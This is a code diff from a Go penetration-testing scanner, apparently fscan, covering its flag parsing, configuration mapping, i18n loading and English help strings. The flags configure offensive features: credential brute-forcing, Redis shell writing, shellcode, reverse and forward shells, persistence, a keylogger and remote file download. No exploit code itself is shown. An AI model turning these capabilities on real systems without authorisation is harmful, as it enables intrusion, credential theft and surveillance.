flag.StringVar(&fv.Iface, "iface", "", i18n.GetText("flag_iface"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// POC测试参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.PocPath, "pocpath", "", i18n.GetText("flag_poc_path"))
|
||||
flag.StringVar(&fv.PocName, "pocname", "", i18n.GetText("flag_poc_name"))
|
||||
flag.BoolVar(&fv.PocFull, "full", false, i18n.GetText("flag_poc_full"))
|
||||
flag.BoolVar(&fv.DNSLog, "dns", false, i18n.GetText("flag_dns_log"))
|
||||
flag.IntVar(&fv.PocNum, "num", 20, i18n.GetText("flag_poc_num"))
|
||||
flag.BoolVar(&fv.DisablePocScan, "nopoc", false, i18n.GetText("flag_no_poc"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// Redis利用参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.RedisFile, "rf", "", i18n.GetText("flag_redis_file"))
|
||||
flag.StringVar(&fv.RedisShell, "rs", "", i18n.GetText("flag_redis_shell"))
|
||||
flag.StringVar(&fv.RedisWritePath, "rwp", "", i18n.GetText("flag_redis_write_path"))
|
||||
flag.StringVar(&fv.RedisWriteContent, "rwc", "", i18n.GetText("flag_redis_write_content"))
|
||||
flag.StringVar(&fv.RedisWriteFile, "rwf", "", i18n.GetText("flag_redis_write_file"))
|
||||
flag.BoolVar(&fv.DisableRedis, "noredis", false, i18n.GetText("flag_disable_redis"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 暴力破解控制参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.BoolVar(&fv.DisableBrute, "nobr", false, i18n.GetText("flag_disable_brute"))
|
||||
flag.IntVar(&fv.MaxRetries, "retry", 3, i18n.GetText("flag_max_retries"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 发包频率控制参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.Int64Var(&fv.PacketRateLimit, "rate", 0, i18n.GetText("flag_packet_rate_limit"))
|
||||
flag.Int64Var(&fv.MaxPacketCount, "maxpkts", 0, i18n.GetText("flag_max_packet_count"))
|
||||
flag.Float64Var(&fv.ICMPRate, "icmp-rate", 0.1, i18n.GetText("flag_icmp_rate"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 输出与显示控制参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.Outputfile, "o", "result.txt", i18n.GetText("flag_output_file"))
|
||||
flag.StringVar(&fv.OutputFormat, "f", "txt", i18n.GetText("flag_output_format"))
|
||||
flag.BoolVar(&fv.DisableSave, "no", false, i18n.GetText("flag_disable_save"))
|
||||
flag.BoolVar(&fv.Silent, "silent", false, i18n.GetText("flag_silent_mode"))
|
||||
flag.BoolVar(&fv.NoColor, "nocolor", false, i18n.GetText("flag_no_color"))
|
||||
flag.StringVar(&fv.LogLevel, "log", LogLevelBaseInfoSuccess, i18n.GetText("flag_log_level"))
|
||||
flag.BoolVar(&fv.Debug, "debug", false, i18n.GetText("flag_debug"))
|
||||
flag.BoolVar(&fv.DisableProgress, "nopg", false, i18n.GetText("flag_disable_progress"))
|
||||
flag.BoolVar(&fv.PerfStats, "perf", false, "输出性能统计JSON")
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 其他参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
|
||||
flag.StringVar(&fv.ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target"))
|
||||
flag.IntVar(&fv.Socks5ProxyPort, "start-socks5", 0, i18n.GetText("flag_start_socks5_server"))
|
||||
flag.IntVar(&fv.ForwardShellPort, "fsh-port", 4444, i18n.GetText("flag_forward_shell_port"))
|
||||
flag.StringVar(&fv.PersistenceTargetFile, "persistence-file", "", i18n.GetText("flag_persistence_file"))
|
||||
flag.StringVar(&fv.WinPEFile, "win-pe", "", i18n.GetText("flag_win_pe_file"))
|
||||
flag.StringVar(&fv.KeyloggerOutputFile, "keylog-output", "keylog.txt", i18n.GetText("flag_keylogger_output"))
|
||||
|
||||
// 文件下载插件参数
|
||||
flag.StringVar(&fv.DownloadURL, "download-url", "", i18n.GetText("flag_download_url"))
|
||||
flag.StringVar(&fv.DownloadSavePath, "download-path", "", i18n.GetText("flag_download_path"))
|
||||
flag.StringVar(&fv.Language, "lang", "zh", i18n.GetText("flag_language"))
|
||||
|
||||
// 帮助参数
|
||||
flag.BoolVar(&fv.ShowHelp, "help", false, i18n.GetText("flag_help"))
|
||||
|
||||
// 解析命令行参数
|
||||
if err := parseCommandLineArgs(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 设置语言
|
||||
i18n.SetLanguage(fv.Language)
|
||||
|
||||
// 如果显示帮助或者没有提供目标,显示帮助信息并退出
|
||||
if fv.ShowHelp || shouldShowHelp(Info, fv) {
|
||||
flag.Usage()
|
||||
return ErrShowHelp
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// parseCommandLineArgs 解析命令行参数
|
||||
func parseCommandLineArgs() error {
|
||||
flag.Parse()
|
||||
|
||||
// 显示Banner
|
||||
Banner()
|
||||
|
||||
// 检查参数冲突
|
||||
return checkParameterConflicts()
|
||||
}
|
||||
|
||||
// preProcessLanguage 预处理语言参数,在定义flag之前设置语言
|
||||
func preProcessLanguage() {
|
||||
// 遍历命令行参数查找-lang参数
|
||||
for i, arg := range os.Args {
|
||||
if arg == "-lang" && i+1 < len(os.Args) {
|
||||
lang := os.Args[i+1]
|
||||
if lang == "en" || lang == "zh" {
|
||||
flagVars.Language = lang
|
||||
i18n.SetLanguage(lang)
|
||||
return
|
||||
}
|
||||
} else if strings.HasPrefix(arg, "-lang=") {
|
||||
lang := strings.TrimPrefix(arg, "-lang=")
|
||||
if lang == "en" || lang == "zh" {
|
||||
flagVars.Language = lang
|
||||
i18n.SetLanguage(lang)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 检查环境变量
|
||||
envLang := os.Getenv("FS_LANG")
|
||||
if envLang == "en" || envLang == "zh" {
|
||||
flagVars.Language = envLang
|
||||
i18n.SetLanguage(envLang)
|
||||
}
|
||||
}
|
||||
|
||||
// shouldShowHelp 检查是否应该显示帮助信息
|
||||
func shouldShowHelp(Info *HostInfo, fv *FlagVars) bool {
|
||||
// Web模式不需要目标参数
|
||||
if WebMode {
|
||||
return false
|
||||
}
|
||||
|
||||
// 检查是否提供了扫描目标
|
||||
hasTarget := Info.Host != "" || fv.TargetURL != "" || fv.HostsFile != "" || fv.URLsFile != ""
|
||||
|
||||
// 本地模式需要指定插件才算有效目标
|
||||
if fv.LocalPlugin != "" {
|
||||
hasTarget = true
|
||||
}
|
||||
|
||||
// 如果没有提供任何扫描目标,则显示帮助
|
||||
return !hasTarget
|
||||
}
|
||||
|
||||
// checkParameterConflicts 检查参数冲突和兼容性
|
||||
// 返回error而不是调用os.Exit,让调用者决定如何处理
|
||||
func checkParameterConflicts() error {
|
||||
fv := flagVars
|
||||
|
||||
// -debug 等价于 -log debug
|
||||
if fv.Debug {
|
||||
fv.LogLevel = LogLevelDebug
|
||||
}
|
||||
|
||||
// 检查 -ao 和 -m icmp 同时指定的情况(向后兼容提示)
|
||||
if fv.AliveOnly && fv.ScanMode == "icmp" {
|
||||
LogInfo(i18n.GetText("param_conflict_ao_icmp_both"))
|
||||
}
|
||||
|
||||
// 检查本地插件参数
|
||||
if fv.LocalPlugin != "" {
|
||||
// 检查是否包含分隔符(确保只能指定单个插件)
|
||||
invalidChars := []string{",", ";", " ", "|", "&"}
|
||||
for _, char := range invalidChars {
|
||||
if strings.Contains(fv.LocalPlugin, char) {
|
||||
return fmt.Errorf("本地插件只能指定单个插件,不支持使用 '%s' 分隔的多个插件", char)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -0,0 +1,227 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/config"
|
||||
)
|
||||
|
||||
/*
|
||||
flag_config.go - 命令行参数直接解析到Config
|
||||
|
||||
flag直接写入配置结构。
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// FlagVars - 命令行参数原始值
|
||||
// =============================================================================
|
||||
|
||||
// FlagVars 存储命令行解析的原始值
|
||||
// 某些字段需要类型转换(如 int64 秒 → time.Duration)
|
||||
type FlagVars struct {
|
||||
// 目标配置
|
||||
Host string
|
||||
ExcludeHosts string
|
||||
ExcludeHostsFile string
|
||||
Ports string
|
||||
ExcludePorts string
|
||||
AddPorts string
|
||||
HostsFile string
|
||||
PortsFile string
|
||||
|
||||
// 扫描控制
|
||||
ScanMode string
|
||||
ThreadNum int
|
||||
ModuleThreadNum int
|
||||
TimeoutSec int64 // 秒,需转换为 time.Duration
|
||||
GlobalTimeout int64
|
||||
DisablePing bool
|
||||
DisableTcpProbe bool
|
||||
LocalPlugin string
|
||||
AliveOnly bool
|
||||
DisableBrute bool
|
||||
MaxRetries int
|
||||
|
||||
// 认证凭据
|
||||
Username string
|
||||
Password string
|
||||
AddUsers string
|
||||
AddPasswords string
|
||||
UsersFile string
|
||||
PasswordsFile string
|
||||
UserPassFile string
|
||||
HashFile string
|
||||
HashValue string
|
||||
Domain string
|
||||
SSHKeyPath string
|
||||
|
||||
// Web扫描
|
||||
TargetURL string
|
||||
URLsFile string
|
||||
Cookie string
|
||||
UserAgent string
|
||||
Accept string
|
||||
WebTimeout int64 // 秒
|
||||
MaxRedirects int
|
||||
HTTPProxy string
|
||||
Socks5Proxy string
|
||||
Iface string
|
||||
|
||||
// POC测试
|
||||
PocPath string
|
||||
PocName string
|
||||
PocFull bool
|
||||
DNSLog bool
|
||||
PocNum int
|
||||
DisablePocScan bool
|
||||
|
||||
// Redis利用
|
||||
RedisFile string
|
||||
RedisShell string
|
||||
RedisWritePath string
|
||||
RedisWriteContent string
|
||||
RedisWriteFile string
|
||||
DisableRedis bool
|
||||
|
||||
// 发包频率
|
||||
PacketRateLimit int64
|
||||
MaxPacketCount int64
|
||||
ICMPRate float64
|
||||
|
||||
// 输出控制
|
||||
Outputfile string
|
||||
OutputFormat string
|
||||
DisableSave bool
|
||||
Silent bool
|
||||
NoColor bool
|
||||
LogLevel string
|
||||
Debug bool
|
||||
DisableProgress bool
|
||||
PerfStats bool
|
||||
Language string
|
||||
|
||||
// 高级功能
|
||||
Shellcode string
|
||||
ReverseShellTarget string
|
||||
Socks5ProxyPort int
|
||||
ForwardShellPort int
|
||||
PersistenceTargetFile string
|
||||
WinPEFile string
|
||||
KeyloggerOutputFile string
|
||||
DownloadURL string
|
||||
DownloadSavePath string
|
||||
|
||||
// 帮助
|
||||
ShowHelp bool
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 全局 FlagVars 实例(仅在解析阶段使用)
|
||||
// =============================================================================
|
||||
|
||||
var flagVars = &FlagVars{}
|
||||
|
||||
// GetFlagVars 获取解析后的命令行参数(供 parse.go 等使用)
|
||||
func GetFlagVars() *FlagVars {
|
||||
return flagVars
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// BuildConfigFromFlags - 从 FlagVars 构建 Config
|
||||
// =============================================================================
|
||||
|
||||
// BuildConfigFromFlags 从命令行参数构建配置对象
|
||||
func BuildConfigFromFlags(fv *FlagVars) *Config {
|
||||
return &Config{
|
||||
// 高频字段
|
||||
Timeout: time.Duration(fv.TimeoutSec) * time.Second,
|
||||
ThreadNum: fv.ThreadNum,
|
||||
ModuleThreadNum: fv.ModuleThreadNum,
|
||||
DisableBrute: fv.DisableBrute,
|
||||
DisablePing: fv.DisablePing,
|
||||
DisableTcpProbe: fv.DisableTcpProbe,
|
||||
|
||||
// 扫描模式
|
||||
Mode: fv.ScanMode,
|
||||
LocalMode: fv.LocalPlugin != "",
|
||||
LocalPlugin: fv.LocalPlugin,
|
||||
AliveOnly: fv.AliveOnly,
|
||||
MaxRetries: fv.MaxRetries,
|
||||
|
||||
// 高级功能
|
||||
Shellcode: fv.Shellcode,
|
||||
LocalPluginsList: nil, // 后续解析
|
||||
DNSLog: fv.DNSLog,
|
||||
PersistenceTargetFile: fv.PersistenceTargetFile,
|
||||
WinPEFile: fv.WinPEFile,
|
||||
PortMap: config.DefaultPortMap,
|
||||
DefaultMap: config.DefaultProbeMap,
|
||||
|
||||
// SOCKS5代理端口
|
||||
Socks5ProxyPort: fv.Socks5ProxyPort,
|
||||
|
||||
// 分组配置
|
||||
Credentials: CredentialConfig{
|
||||
Username: fv.Username,
|
||||
Password: fv.Password,
|
||||
Domain: fv.Domain,
|
||||
Userdict: config.DefaultUserDict,
|
||||
Passwords: config.DefaultPasswords,
|
||||
UserPassPairs: nil, // 后续解析
|
||||
SSHKeyPath: fv.SSHKeyPath,
|
||||
},
|
||||
Network: NetworkConfig{
|
||||
HTTPProxy: fv.HTTPProxy,
|
||||
Socks5Proxy: fv.Socks5Proxy,
|
||||
Iface: fv.Iface,
|
||||
WebTimeout: time.Duration(fv.WebTimeout) * time.Second,
|
||||
MaxRedirects: fv.MaxRedirects,
|
||||
PacketRateLimit: fv.PacketRateLimit,
|
||||
MaxPacketCount: fv.MaxPacketCount,
|
||||
ICMPRate: fv.ICMPRate,
|
||||
},
|
||||
Output: OutputConfig{
|
||||
File: fv.Outputfile,
|
||||
Format: fv.OutputFormat,
|
||||
DisableSave: fv.DisableSave,
|
||||
NoColor: fv.NoColor,
|
||||
Silent: fv.Silent,
|
||||
DisableProgress: fv.DisableProgress,
|
||||
ShowProgress: !fv.DisableProgress,
|
||||
LogLevel: fv.LogLevel,
|
||||
Language: fv.Language,
|
||||
PerfStats: fv.PerfStats,
|
||||
},
|
||||
POC: POCConfig{
|
||||
PocPath: fv.PocPath,
|
||||
PocName: fv.PocName,
|
||||
Full: fv.PocFull,
|
||||
Num: fv.PocNum,
|
||||
Disabled: fv.DisablePocScan,
|
||||
},
|
||||
Redis: RedisConfig{
|
||||
Disabled: fv.DisableRedis,
|
||||
File: fv.RedisFile,
|
||||
Shell: fv.RedisShell,
|
||||
WritePath: fv.RedisWritePath,
|
||||
WriteContent: fv.RedisWriteContent,
|
||||
WriteFile: fv.RedisWriteFile,
|
||||
},
|
||||
HTTP: HTTPConfig{
|
||||
Cookie: fv.Cookie,
|
||||
UserAgent: fv.UserAgent,
|
||||
Accept: fv.Accept,
|
||||
},
|
||||
LocalExploit: LocalExploitConfig{
|
||||
ReverseShellTarget: fv.ReverseShellTarget,
|
||||
ForwardShellPort: fv.ForwardShellPort,
|
||||
KeyloggerOutputFile: fv.KeyloggerOutputFile,
|
||||
DownloadURL: fv.DownloadURL,
|
||||
DownloadSavePath: fv.DownloadSavePath,
|
||||
},
|
||||
Target: TargetConfig{
|
||||
Ports: fv.Ports,
|
||||
ExcludePorts: fv.ExcludePorts,
|
||||
},
|
||||
}
|
||||
}
|
||||
+1162
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,16 @@
|
||||
//go:build web
|
||||
|
||||
package common
|
||||
|
||||
import "flag"
|
||||
|
||||
// WebMode 表示是否启动Web管理界面
|
||||
var WebMode bool
|
||||
|
||||
// WebPort Web服务器端口
|
||||
var WebPort int
|
||||
|
||||
func init() {
|
||||
flag.BoolVar(&WebMode, "web", false, "启动Web管理界面 (Start Web UI)")
|
||||
flag.IntVar(&WebPort, "webport", 10240, "Web服务器端口 (Web server port)")
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
//go:build !web
|
||||
|
||||
package common
|
||||
|
||||
// WebMode 非Web版本永远为false
|
||||
var WebMode = false
|
||||
|
||||
// WebPort 非Web版本不使用
|
||||
var WebPort = 0
|
||||
@@ -0,0 +1,223 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
/*
|
||||
globals.go - 全局配置变量
|
||||
|
||||
运行时数据和必要的全局状态。
|
||||
命令行参数现通过 GetFlagVars() 访问,配置通过 GetGlobalConfig() 访问。
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// 核心数据结构
|
||||
// =============================================================================
|
||||
|
||||
// HostInfo 主机信息结构 - 最核心的数据结构
|
||||
type HostInfo struct {
|
||||
Host string // 主机地址
|
||||
Port int // 端口号(单个端口)
|
||||
URL string // URL地址
|
||||
Info []string // 附加信息
|
||||
}
|
||||
|
||||
// Target 返回 host:port 格式字符串
|
||||
func (h *HostInfo) Target() string {
|
||||
return fmt.Sprintf("%s:%d", h.Host, h.Port)
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 默认配置常量
|
||||
// =============================================================================
|
||||
|
||||
const (
|
||||
// DefaultThreadNum 默认线程数
|
||||
DefaultThreadNum = 600
|
||||
// DefaultTimeout 默认超时时间(秒)
|
||||
DefaultTimeout = 3
|
||||
// DefaultScanMode 默认扫描模式
|
||||
DefaultScanMode = "all"
|
||||
// DefaultLanguage 默认语言
|
||||
DefaultLanguage = "zh"
|
||||
// DefaultLogLevel 默认日志级别
|
||||
DefaultLogLevel = "base"
|
||||
)
|
||||
|
||||
// 日志级别常量
|
||||
const (
|
||||
LogLevelAll = "all"
|
||||
LogLevelError = "error"
|
||||
LogLevelBase = "base"
|
||||
LogLevelInfo = "info"
|
||||
LogLevelSuccess = "success"
|
||||
LogLevelDebug = "debug"
|
||||
LogLevelInfoSuccess = "info,success"
|
||||
LogLevelBaseInfoSuccess = "base,info,success"
|
||||
)
|
||||
|
||||
// 版本信息,通过 ldflags 注入
|
||||
var (
|
||||
version = "2.1.3"
|
||||
commit = "unknown"
|
||||
date = "unknown"
|
||||
)
|
||||
|
||||
// 运行时数据已迁移到Config对象中,使用GetGlobalConfig()访问
|
||||
|
||||
// Shell状态已迁移到State对象中,使用GetGlobalState()访问
|
||||
|
||||
// POC配置、输出控制、发包控制、初始化已迁移到Config/State对象中
|
||||
|
||||
// =============================================================================
|
||||
// 发包限制错误类型
|
||||
// =============================================================================
|
||||
|
||||
// 哨兵错误 - 用于 errors.Is 判断
|
||||
var (
|
||||
ErrMaxPacketReached = errors.New("max packet count reached")
|
||||
ErrPacketRateLimited = errors.New("packet rate limited")
|
||||
)
|
||||
|
||||
// PacketLimitError 发包限制错误(包含详情)
|
||||
type PacketLimitError struct {
|
||||
Sentinel error // ErrMaxPacketReached 或 ErrPacketRateLimited
|
||||
Limit int64
|
||||
Current int64
|
||||
}
|
||||
|
||||
func (e *PacketLimitError) Error() string {
|
||||
if e.Sentinel == ErrMaxPacketReached {
|
||||
return fmt.Sprintf("已达到最大发包数量限制: %d", e.Limit)
|
||||
}
|
||||
return fmt.Sprintf("发包速率受限: %d包/分钟", e.Limit)
|
||||
}
|
||||
|
||||
func (e *PacketLimitError) Unwrap() error {
|
||||
return e.Sentinel
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 发包频率控制功能
|
||||
// =============================================================================
|
||||
|
||||
// CanSendPacketWith 检查是否可以发包 - 同时检查频率限制和总数限制
|
||||
// 返回值: (可以发包, 错误)
|
||||
func CanSendPacketWith(config *Config, state *State) (bool, error) {
|
||||
// 检查总数限制
|
||||
maxPacketCount := config.Network.MaxPacketCount
|
||||
if maxPacketCount > 0 {
|
||||
currentTotal := state.GetPacketCount()
|
||||
if currentTotal >= maxPacketCount {
|
||||
return false, &PacketLimitError{
|
||||
Sentinel: ErrMaxPacketReached,
|
||||
Limit: maxPacketCount,
|
||||
Current: currentTotal,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 检查频率限制
|
||||
return state.CheckAndIncrementPacketRate(config.Network.PacketRateLimit)
|
||||
}
|
||||
|
||||
// CanSendPacket 便捷API - 使用全局配置和状态
|
||||
// 内部调用 CanSendPacketWith,保持向后兼容(返回string)
|
||||
func CanSendPacket() (bool, string) {
|
||||
ok, err := CanSendPacketWith(GetGlobalConfig(), GetGlobalState())
|
||||
if err != nil {
|
||||
return ok, err.Error()
|
||||
}
|
||||
return ok, ""
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 全局 Config 和 State 实例(新架构)
|
||||
// =============================================================================
|
||||
|
||||
var (
|
||||
// globalConfig 全局配置实例(小写,不直接暴露)
|
||||
globalConfig *Config
|
||||
|
||||
// globalState 全局状态实例(小写,不直接暴露)
|
||||
globalState *State
|
||||
|
||||
// globalMu 保护全局变量的读写锁
|
||||
globalMu sync.RWMutex
|
||||
)
|
||||
|
||||
// GetGlobalConfig 获取全局配置实例(线程安全)
|
||||
// 使用读写锁保护,避免竞态条件
|
||||
func GetGlobalConfig() *Config {
|
||||
globalMu.RLock()
|
||||
cfg := globalConfig
|
||||
globalMu.RUnlock()
|
||||
|
||||
if cfg != nil {
|
||||
return cfg
|
||||
}
|
||||
|
||||
// 需要初始化,获取写锁
|
||||
globalMu.Lock()
|
||||
defer globalMu.Unlock()
|
||||
|
||||
// 双重检查,避免重复初始化
|
||||
if globalConfig == nil {
|
||||
globalConfig = NewConfig()
|
||||
}
|
||||
return globalConfig
|
||||
}
|
||||
|
||||
// SetGlobalConfig 设置全局配置实例(线程安全)
|
||||
func SetGlobalConfig(cfg *Config) {
|
||||
globalMu.Lock()
|
||||
globalConfig = cfg
|
||||
globalMu.Unlock()
|
||||
}
|
||||
|
||||
// GetGlobalState 获取全局状态实例(线程安全)
|
||||
// 使用读写锁保护,避免竞态条件
|
||||
func GetGlobalState() *State {
|
||||
globalMu.RLock()
|
||||
st := globalState
|
||||
globalMu.RUnlock()
|
||||
|
||||
if st != nil {
|
||||
return st
|
||||
}
|
||||
|
||||
// 需要初始化,获取写锁
|
||||
globalMu.Lock()
|
||||
defer globalMu.Unlock()
|
||||
|
||||
// 双重检查,避免重复初始化
|
||||
if globalState == nil {
|
||||
globalState = NewState()
|
||||
}
|
||||
return globalState
|
||||
}
|
||||
|
||||
// SetGlobalState 设置全局状态实例(线程安全)
|
||||
func SetGlobalState(state *State) {
|
||||
globalMu.Lock()
|
||||
globalState = state
|
||||
globalMu.Unlock()
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 字符串工具函数
|
||||
// =============================================================================
|
||||
|
||||
// ContainsAny 检查字符串是否包含任意一个子串
|
||||
func ContainsAny(s string, substrs ...string) bool {
|
||||
for _, substr := range substrs {
|
||||
if strings.Contains(s, substr) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
package i18n
|
||||
|
||||
import "embed"
|
||||
|
||||
//go:embed locales/*.yaml
|
||||
var localeFS embed.FS
|
||||
@@ -0,0 +1,89 @@
|
||||
package i18n
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sync"
|
||||
|
||||
"github.com/nicksnyder/go-i18n/v2/i18n"
|
||||
"golang.org/x/text/language"
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
// 支持的语言常量
|
||||
const (
|
||||
LangZH = "zh"
|
||||
LangEN = "en"
|
||||
)
|
||||
|
||||
// 默认配置
|
||||
const (
|
||||
DefaultLanguage = LangZH
|
||||
FallbackLanguage = LangEN
|
||||
)
|
||||
|
||||
var (
|
||||
bundle *i18n.Bundle
|
||||
localizer *i18n.Localizer
|
||||
lang = DefaultLanguage
|
||||
mu sync.RWMutex
|
||||
)
|
||||
|
||||
func init() {
|
||||
bundle = i18n.NewBundle(language.Chinese)
|
||||
bundle.RegisterUnmarshalFunc("yaml", yaml.Unmarshal)
|
||||
|
||||
// 从embed加载翻译文件
|
||||
if _, err := bundle.LoadMessageFileFS(localeFS, "locales/zh.yaml"); err != nil {
|
||||
panic(fmt.Sprintf("failed to load zh.yaml: %v", err))
|
||||
}
|
||||
if _, err := bundle.LoadMessageFileFS(localeFS, "locales/en.yaml"); err != nil {
|
||||
panic(fmt.Sprintf("failed to load en.yaml: %v", err))
|
||||
}
|
||||
|
||||
localizer = i18n.NewLocalizer(bundle, lang, FallbackLanguage)
|
||||
}
|
||||
|
||||
// SetLanguage 设置当前语言
|
||||
func SetLanguage(l string) {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
lang = l
|
||||
localizer = i18n.NewLocalizer(bundle, lang, FallbackLanguage)
|
||||
}
|
||||
|
||||
// GetText 获取国际化文本(无参数)
|
||||
func GetText(key string) string {
|
||||
mu.RLock()
|
||||
loc := localizer
|
||||
mu.RUnlock()
|
||||
|
||||
msg, err := loc.Localize(&i18n.LocalizeConfig{
|
||||
MessageID: key,
|
||||
})
|
||||
if err != nil || msg == "" {
|
||||
return key
|
||||
}
|
||||
return msg
|
||||
}
|
||||
|
||||
// Tr 获取国际化文本并格式化(变参版本)
|
||||
// 参数按顺序映射为 {{.Arg1}}, {{.Arg2}}, ...
|
||||
func Tr(key string, args ...interface{}) string {
|
||||
mu.RLock()
|
||||
loc := localizer
|
||||
mu.RUnlock()
|
||||
|
||||
data := make(map[string]interface{})
|
||||
for i, arg := range args {
|
||||
data[fmt.Sprintf("Arg%d", i+1)] = arg
|
||||
}
|
||||
|
||||
msg, err := loc.Localize(&i18n.LocalizeConfig{
|
||||
MessageID: key,
|
||||
TemplateData: data,
|
||||
})
|
||||
if err != nil || msg == "" {
|
||||
return key
|
||||
}
|
||||
return msg
|
||||
}
|
||||
@@ -0,0 +1,763 @@
|
||||
# fscan English translation file
|
||||
# Contains only actually used messages (115)
|
||||
|
||||
# ========================= Command Line Arguments (71) =========================
|
||||
flag_host:
|
||||
other: "Target host: IP, IP range, IP file, domain"
|
||||
flag_exclude_hosts:
|
||||
other: "Exclude hosts"
|
||||
flag_exclude_hosts_file:
|
||||
other: "Exclude hosts file"
|
||||
flag_ports:
|
||||
other: "Ports: default 1000 common ports"
|
||||
flag_exclude_ports:
|
||||
other: "Exclude ports"
|
||||
flag_hosts_file:
|
||||
other: "Hosts file"
|
||||
flag_ports_file:
|
||||
other: "Ports file"
|
||||
flag_scan_mode:
|
||||
other: "Scan mode: all(all plugins), icmp(alive detection), or specific plugin names"
|
||||
flag_thread_num:
|
||||
other: "Port scan thread count"
|
||||
flag_timeout:
|
||||
other: "Port scan timeout"
|
||||
flag_module_thread_num:
|
||||
other: "Module thread count"
|
||||
flag_global_timeout:
|
||||
other: "Global timeout"
|
||||
flag_disable_ping:
|
||||
other: "Disable ping detection"
|
||||
flag_disable_tcp_probe:
|
||||
other: "Disable TCP supplementary probe"
|
||||
flag_debug:
|
||||
other: "Enable debug mode, write logs to fscan_debug.log"
|
||||
flag_alive_only:
|
||||
other: "Alive detection only"
|
||||
flag_username:
|
||||
other: "Username"
|
||||
flag_password:
|
||||
other: "Password"
|
||||
flag_add_users:
|
||||
other: "Additional usernames"
|
||||
flag_add_passwords:
|
||||
other: "Additional passwords"
|
||||
flag_users_file:
|
||||
other: "Username dictionary file"
|
||||
flag_passwords_file:
|
||||
other: "Password dictionary file"
|
||||
flag_userpass_file:
|
||||
other: "Username:password pairs file"
|
||||
flag_hash_file:
|
||||
other: "Hash file"
|
||||
flag_hash_value:
|
||||
other: "Hash value"
|
||||
flag_domain:
|
||||
other: "Domain name"
|
||||
flag_ssh_key:
|
||||
other: "SSH private key file"
|
||||
flag_target_url:
|
||||
other: "Target URL"
|
||||
flag_urls_file:
|
||||
other: "URLs file"
|
||||
flag_cookie:
|
||||
other: "HTTP Cookie"
|
||||
flag_web_timeout:
|
||||
other: "Web timeout"
|
||||
flag_max_redirects:
|
||||
other: "Maximum HTTP redirects"
|
||||
flag_http_proxy:
|
||||
other: "HTTP proxy"
|
||||
flag_socks5_proxy:
|
||||
other: "Use SOCKS5 proxy (e.g.: 127.0.0.1:1080)"
|
||||
flag_iface:
|
||||
other: "Specify local interface IP address (VPN scenario, e.g.: 10.8.0.5)"
|
||||
flag_poc_path:
|
||||
other: "POC script path"
|
||||
flag_poc_name:
|
||||
other: "POC name"
|
||||
flag_poc_full:
|
||||
other: "Full POC scan"
|
||||
flag_dns_log:
|
||||
other: "DNS logging"
|
||||
flag_poc_num:
|
||||
other: "POC concurrency"
|
||||
flag_no_poc:
|
||||
other: "Disable POC scan"
|
||||
flag_redis_file:
|
||||
other: "Redis file"
|
||||
flag_redis_shell:
|
||||
other: "Redis Shell"
|
||||
flag_redis_write_path:
|
||||
other: "Redis write path"
|
||||
flag_redis_write_content:
|
||||
other: "Redis write content"
|
||||
flag_redis_write_file:
|
||||
other: "Redis write file"
|
||||
flag_disable_redis:
|
||||
other: "Disable Redis exploitation"
|
||||
flag_disable_brute:
|
||||
other: "Disable brute force"
|
||||
flag_max_retries:
|
||||
other: "Maximum retries"
|
||||
flag_packet_rate_limit:
|
||||
other: "Maximum packets per minute (0 means no limit)"
|
||||
flag_max_packet_count:
|
||||
other: "Maximum total packet count for entire program (0 means no limit)"
|
||||
flag_icmp_rate:
|
||||
other: "ICMP packet rate (ratio to max rate, default 0.1, ~1463 pps)"
|
||||
flag_output_file:
|
||||
other: "Output file"
|
||||
flag_output_format:
|
||||
other: "Output format: txt, json, csv"
|
||||
flag_disable_save:
|
||||
other: "Disable result saving"
|
||||
flag_silent_mode:
|
||||
other: "Silent mode"
|
||||
flag_no_color:
|
||||
other: "Disable color output"
|
||||
flag_log_level:
|
||||
other: "Log level"
|
||||
flag_disable_progress:
|
||||
other: "Disable progress bar"
|
||||
flag_shellcode:
|
||||
other: "Shellcode"
|
||||
flag_reverse_shell_target:
|
||||
other: "Reverse shell target address:port (e.g.: 192.168.1.100:4444)"
|
||||
flag_start_socks5_server:
|
||||
other: "Start SOCKS5 proxy server on port (e.g.: 1080)"
|
||||
flag_forward_shell_port:
|
||||
other: "Start forward shell server on port (e.g.: 4444)"
|
